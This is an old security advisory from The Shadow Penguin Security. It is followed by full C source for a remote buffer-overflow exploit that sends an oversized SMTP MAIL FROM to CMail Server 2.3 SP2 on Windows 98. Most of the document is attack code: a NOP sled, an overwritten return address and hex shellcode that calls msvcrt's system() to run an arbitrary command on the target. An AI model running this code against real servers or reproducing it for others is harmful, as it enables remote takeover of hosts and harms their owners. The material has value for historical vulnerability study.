We found the overflow bug of CMail Server 2.3 SP2. It overflows when that receives the long MAIL FROM: in SMTP handling. If the host recives the packet which contains the exploit code, the host has been cracked by any instructions which are coded in the exploit code. This example sends the exploit code that executes any command on the host which is running the CMail Server 2.3 SP2.
c5662e8f3a1f97a425d8e0c04ec0eb3a1a5d42a218a8a4a487fe02fc9ace09fd
/*=============================================================================
CMAIL Server 2.3 SP2 Exploit for Windows98
The Shadow Penguin Security (https://shadowpenguin.backsection.net)
Written by UNYUN (shadowpenguin@backsection.net)
=============================================================================
*/
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <unistd.h>
#define BUFSIZE 2000
#define SMTP_PORT 25
#define RETADR 626
#define JMPADR 622
#define JMPOFS 6
#define EIP 0xbff7a06b
#define NOP 0x90
#define JMPS 0xeb
unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,
0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,0xBF,0xFF,
0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,
0x83,0xC3,0x06,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,
0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,
0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,
0xFF, 0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.welcome.exe";
int main(int argc,char *argv[])
{
struct hostent *hs;
struct sockaddr_in cli;
char packetbuf[BUFSIZE+3000],buf[BUFSIZE];
int sockfd,i,ip;
if (argc<2){
printf("usage\n %s HostName\n",argv[0]);
exit(1);
}
bzero(&cli, sizeof(cli));
cli.sin_family = AF_INET;
cli.sin_port = htons(SMTP_PORT);
if ((cli.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if ((hs=gethostbyname(argv[1]))==NULL){
printf("Can not resolve specified host.\n");
exit(1);
}
cli.sin_family = hs->h_addrtype;
memcpy((caddr_t)&cli.sin_addr.s_addr,hs->h_addr,hs->h_length);
}
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket"); exit(0);
}
if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect"); exit(0);
}
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
strcat(exploit_code,cmdbuf);
exploit_code[65]=strlen(cmdbuf+23);
memset(buf,0x90,BUFSIZE);
ip=EIP;
buf[RETADR ]=ip&0xff;
buf[RETADR+1]=(ip>>8)&0xff;
buf[RETADR+2]=(ip>>16)&0xff;
buf[RETADR+3]=(ip>>24)&0xff;
buf[JMPADR] =JMPS;
buf[JMPADR+1]=JMPOFS;
memcpy(buf+RETADR+4,exploit_code,strlen(exploit_code));
buf[BUFSIZE]=0;
sprintf(packetbuf,"helo penguin\r\n");
write(sockfd,packetbuf,strlen(packetbuf));
while((i=read(sockfd,packetbuf,sizeof(packetbuf))) > 0){
packetbuf[i]=0;
if(strchr(packetbuf,'\n')!=NULL) break;
}
printf("%s\n",packetbuf);
sprintf(packetbuf,"MAIL FROM: aa <%s@aa.com>\r\n",buf);
write(sockfd,packetbuf,strlen(packetbuf));
sleep(100);
close(sockfd);
}